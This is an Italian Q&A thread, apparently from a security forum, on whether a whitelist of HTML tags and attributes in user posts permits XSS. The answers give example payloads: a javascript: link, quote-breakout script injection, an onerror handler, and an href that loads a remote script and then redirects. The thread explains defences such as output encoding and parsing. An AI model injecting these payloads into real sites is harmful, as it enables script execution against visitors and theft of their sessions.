Questi tag e attributi HTML possono rendere il mio sito vulnerabile?

3

Sto sviluppando un sito web sociale e voglio consentire all'utente SOLO questi tag e attributi html nei loro post:

tags:  <img>, <b>, <strong>, <blockquote>, <a>
attributes:  'src', 'alt', 'width', 'height', 'href', 'class'

Mi chiedo se consentire a qualcuno di loro di aprire la porta a qualche XSS o altri exploit?

    
posta Jand 02.09.2015 - 23:30
fonte

3 risposte

7

L'attributo Src può portare a XSS se si consente all'utente di definire il protocollo, ad esempio per inserire javascript: anziché http:

Esempio: <a src=javascript:alert()>

Inoltre, dovresti usare la corretta codifica dell'output per le variabili controllate dall'utente in modo che l'utente non possa sfuggire all'attributo / tag. Ad esempio se hai il seguente tag:

<a href="USER CONTROLLED DATA">

Senza codifica dell'output, l'utente può inserire i seguenti dati:

"><script>alert();</script>

Il che significherebbe che il tag assomiglierebbe a questo:

<a href=""><script>alert();</script>">
    
risposta data 02.09.2015 - 23:54
fonte
2

XSS

Anche se supponiamo che i tuoi filtri funzionino perfettamente (cosa che non farei automaticamente, il filtraggio è piuttosto complesso e facile da sbagliare), questo potrebbe portare a XSS.

Perché non è stato ancora menzionato: a in combinazione con href non filtrato non è sicuro, poiché JavaScript verrà eseguito. Un utente malintenzionato può caricare uno script remoto e quindi reindirizzare in modo che il collegamento funzioni come un collegamento normale:

<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>

La vittima deve effettivamente fare clic sul link, ma un utente malintenzionato può fornire un link interessante o utilizzare ClickJacking per raggiungere questo obiettivo.

Codifica

Poiché in un commento hai menzionato che non utilizzi alcuna codifica, ma solo il filtro dei tag: se non codifichi le virgolette, un utente malintenzionato può uscire dal contesto dell'attributo corrente. Ad esempio:

<img src="user_input">

con

user_input = invalid" onerror="alert(1)

conduce a

<img src="invalid" onerror="alert(1)">

che verrà eseguito da tutti i browser.

    
risposta data 03.09.2015 - 08:53
fonte
1

Per aggiungere alla risposta esistente: Potrebbe anche essere possibile utilizzare in modo improprio l'attributo della classe, a seconda del codice. Immagina solo che la tua applicazione web abbia del codice che si lega a qualsiasi elemento di una classe specifica o qualsiasi che mostri un comportamento specifico (che può essere impostato dalla classe). In questo caso, questo codice potrebbe essere attivato se si consente all'utente di utilizzare qualsiasi nome di classe nel relativo codice HTML. E poiché il codice non prevede di essere eseguito nel contesto definito dall'utente HTML, ciò potrebbe portare a risultati imprevisti.

Ovviamente potresti anche avere associazioni di codice basate sul tag o attributi specifici che possono essere utilizzati in modo improprio in modo simile con gli altri tag e attributi che autorizzi. Ma avere legami per una classe è più comune.

A parte questo, non usare alcun tipo di espressione regolare per filtrare cose brutte (come intendi secondo i tuoi commenti). Se si desidera veramente consentire al codice HTML di trattarlo come qualsiasi altro tipo di markup, ad esempio analizzarlo in un modulo interno e quindi creare il codice HTML risultante da questo. E naturalmente dovresti controllare e magari modificare i valori degli attributi che ottieni dall'utente, ad esempio limitare i nomi delle classi ad alcuni set di white list, disinfettare gli URL, scappare correttamente qualsiasi contenuto per il tag alt, limitare la dimensione della larghezza e dell'altezza (o meglio: ottieni queste informazioni dall'immagine stessa) ... Non dovresti mai provare a rimuovere solo cose apparentemente cattive dall'input dell'utente perché ci saranno abbastanza modi per aggirare queste liste nere. I browser interpretano l'HTML spezzato in modo creativo.

    
risposta data 03.09.2015 - 07:33
fonte

Leggi altre domande sui tag